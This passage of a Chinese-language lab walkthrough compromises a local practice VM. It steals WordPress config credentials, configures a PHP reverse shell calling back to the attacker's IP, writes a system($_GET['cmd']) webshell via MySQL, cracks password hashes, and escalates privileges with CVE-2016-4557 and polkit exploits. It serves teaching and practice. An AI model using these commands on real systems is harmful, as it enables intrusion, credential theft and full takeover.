&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;objHtml&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;readlines&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;content&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;attachment-post-thumbnail size-post-thumbnail wp-post-image&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;urls&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;#34;(https?://.*?)&amp;#34;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urllib&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urls&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;utf-8&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316095341875.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget https://172.168.169.131:12380/blogblog/wp-content/uploads/349164566.jpeg --no-check-certificate
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316095517782.png"&gt;
这配置文件不就搞到手了，嘿嘿嘿，数据库密码到手，形成闭环。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316100224958.png"&gt;
同理还可以把 &lt;code&gt;/etc.passwd&lt;/code&gt; 文件也弄下来，这就回到了[[#SSH 登录爆破]]，又一个闭环。&lt;/p&gt;
&lt;h6 id="john管理员登录wp后台上传反弹shell"&gt;John管理员登录WP后台上传反弹shell
&lt;/h6&gt;&lt;p&gt;管理员打开media媒体界面，发现就有之前插件生成的文件，
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316102347298.png"&gt;&lt;/p&gt;
&lt;p&gt;复制一个反弹php过来，修改&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; cp /usr/share/webshells/php/php-reverse-shell.php .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; sed -i -E &lt;span class="s2"&gt;&amp;#34;s/ip\s*=\s*&amp;#39;127\.0\.0\.1&amp;#39;\s*;/ip = &amp;#39;172.168.169.128&amp;#39;;/g; s/port\s*=\s*1234\s*;/port = 4777;/g&amp;#34;&lt;/span&gt; php-reverse-shell.php
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;生成shell有很多方法，这里只用了反弹的类型，其他WP提到了webacoo，weevely，MSF，冰蝎生成等。可以看[[#WebShell 的常用姿势]]&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316102627414.png"&gt;
点击上传，提示文件类型不支持&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316102808050.png"&gt;
抓包，改00截断，成功上传，但是没有成功运行，还是当作png解析的。问题不大，还有插件上传这个点。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316103006045.png"&gt;
也是上传php文件，点击 install
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316103110546.png"&gt;
这个页面不用管，直接 proceed 然后就能在上传目录开到我们的php了
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316103120770.png"&gt;
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316103208810.png"&gt;
成功弹回，然后用[[#登录Peter账户直接提权]]的方式直接提权即可。
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316103313226.png"&gt;&lt;/p&gt;
&lt;h4 id="数据库mysql"&gt;数据库mysql
&lt;/h4&gt;&lt;p&gt;[[#SSH 登录爆破]] 后进入SHayslett账户浏览&lt;code&gt;/var/www/https/blogblog&lt;/code&gt;文件夹就能发现数据库密码&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314145653162.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315092132410.png"&gt;
可惜不能直接ssh切换，也就是说root的密码没有复用，只能链接数据库用&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314150555198.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314151459331.png"&gt;&lt;/p&gt;
&lt;p&gt;使用用户名root和密码plbkac进行数据库登录&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;mysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl
&lt;/code&gt;&lt;/pre&gt;&lt;h5 id="获得blog博客系统的用户密码"&gt;获得blog博客系统的用户密码
&lt;/h5&gt;&lt;p&gt;将表中的user_login与user_pass提取出来并导入文件中，使用john进行爆破&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;show databases;
use wordpress;
show tables;
select * from wp_users;
select concat(user_login,&amp;#39;:&amp;#39;,user_pass) from wp_users;
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315093257215.png"&gt;&lt;/p&gt;
&lt;p&gt;直接在命令行用 &lt;code&gt;-e&lt;/code&gt; 参数执行，输出自动是纯文本，然后直接丢john爆破，此john非彼john。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;mysql -h 172.168.169.129 -uroot -pplbkac --skip-ssl -se &lt;span class="s2"&gt;&amp;#34;select concat(user_login,&amp;#39;:&amp;#39;,user_pass) from wordpress.wp_users;&amp;#34;&lt;/span&gt; &amp;gt; hashes.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;john --format&lt;span class="o"&gt;=&lt;/span&gt;phpass --wordlist&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hashes.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315102842747.png"&gt;&lt;/p&gt;
&lt;p&gt;再查一下其他配置，发现明显写了john就是管理员&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;option_name&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;option_value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wp_options&lt;/span&gt;&lt;span class="w"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;option_name&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;IN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;siteurl&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;blogname&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;blogdescription&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;admin_email&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;blogpublic&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316110526411.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-sql" data-lang="sql"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;SELECT&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;user_login&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;meta_value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;FROM&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wp_users&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;JOIN&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wp_usermeta&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;ON&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wp_users&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wp_usermeta&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;user_id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;WHERE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;meta_key&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;wp_capabilities&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316110723108.png"&gt;&lt;/p&gt;
&lt;p&gt;发现 john peter Vicki 三个人都是管理员。Vicki还没有研究过，遗憾的是好像也没有爆出来他的密码。不过不重要了。&lt;/p&gt;
&lt;h5 id="mysql上传一句话木马"&gt;mysql上传一句话木马
&lt;/h5&gt;&lt;p&gt;由[[#blogblog博客系统]] 的情报得知上传目录，写个一句话木马进去&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# MySQL 里写入&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;SELECT &lt;span class="s2"&gt;&amp;#34;&amp;lt;?php system(&lt;/span&gt;&lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="s2"&gt;[&amp;#39;cmd&amp;#39;]); ?&amp;gt;&amp;#34;&lt;/span&gt; into outfile &lt;span class="s2"&gt;&amp;#34;/var/www/https/blogblog/wp-content/uploads/exec.php&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 验证是否写入成功&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;curl -k &lt;span class="s2"&gt;&amp;#34;https://172.168.169.131:12380/blogblog/wp-content/uploads/exec.php?cmd=id&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316111059224.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316111210931.png"&gt;
phpmyadmin页面操作也是一样的&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260316111510528.png"&gt;&lt;/p&gt;
&lt;h4 id="139-端口上的samba服务"&gt;139 端口上的samba服务
&lt;/h4&gt;&lt;p&gt;使用enum4linux探测smb服务&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;enum4linux -a 172.168.169.129 | tee smb_result
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;发现有效共享服务名tmp和kathy
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314211717904.png"&gt;&lt;/p&gt;
&lt;p&gt;发现用户，这一步的用户其实其可以用到 [[#SSH 登录爆破]] 里面用到登录爆破&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260314211704014.png"&gt;&lt;/p&gt;
&lt;h3 id="提权root的方法"&gt;提权root的方法
&lt;/h3&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315170723113.png"&gt;
上传小豌豆
&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315170949349.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315171442030.png"&gt;&lt;/p&gt;
&lt;h4 id="内核漏洞提权-cve-2016-4557"&gt;内核漏洞提权 CVE-2016-4557
&lt;/h4&gt;&lt;p&gt;查看内核版本信息&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315103339006.png"&gt;&lt;/p&gt;
&lt;p&gt;使用searchsploit搜索一些对应版本的漏洞&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;searchsploit ubuntu 16.04 privilege escalation
privilege escalation表示权限提升
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315103513999.png"&gt;
上一个是windows机器的不符合，上上两条是x86x64机器的不符合，只有&lt;code&gt;linux/local/39772.txt&lt;/code&gt;符合，尝试使用。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;searchsploit -m linux/local/39772.txt
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;cat 39772.txt
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315104230627.png"&gt;&lt;/p&gt;
&lt;p&gt;在靶机上执行，这里是在本地虚拟机测试，kali上可能下载不下来，可以在本机下载后开http传输&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;unzip 39772.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; &lt;span class="m"&gt;39772&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;tar -xvf exploit.tar
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ebpf_mapfd_doubleput_exploit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;chmod +x compile.sh
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;./compile.sh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315104614371.png"&gt;&lt;/p&gt;
&lt;p&gt;这个报错可以不管，文件夹下编译出来可执行文件就行。执行等待一分钟就能提权了。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315104908150.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;这个漏洞是 CVE-2016-4557&lt;/strong&gt;，原理简述：Linux 内核 eBPF 子系统在处理 &lt;code&gt;BPF_MAP_CREATE&lt;/code&gt; 时存在文件描述符的 double-put（引用计数错误），可导致 UAF，最终通过 writev + FUSE 竞争条件将任意文件改为 SUID root，再执行 &lt;code&gt;suidhelper&lt;/code&gt; 获得 root shell。影响内核版本 ≤ 4.5。&lt;/p&gt;
&lt;h4 id="内核漏洞提权-cve-2021-4034"&gt;内核漏洞提权 CVE-2021-4034
&lt;/h4&gt;&lt;p&gt;&lt;strong&gt;发现步骤&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;信息收集阶段通过以下方式发现：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 1. 查看内核和系统版本&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;uname -a
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;cat /etc/os-release
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输出：Ubuntu 16.04，内核较旧&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;5&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 2. 查看 polkit 版本（关键）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;7&lt;/span&gt;&lt;span class="cl"&gt;dpkg -l policykit-1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;8&lt;/span&gt;&lt;span class="cl"&gt;pkexec --version
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 输出版本 &amp;lt;= 0.105 即存在漏洞&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;漏洞影响范围：polkit &amp;lt; 0.120（2009年至2022年1月所有版本），Ubuntu 16.04 的 polkit 版本正好在范围内。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2026/20260315172621605.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;利用步骤&lt;/strong&gt;&lt;/p&gt;
&lt;h5 id="方式一直接用-github-上的一键利用脚本"&gt;方式一：直接用 GitHub 上的一键利用脚本
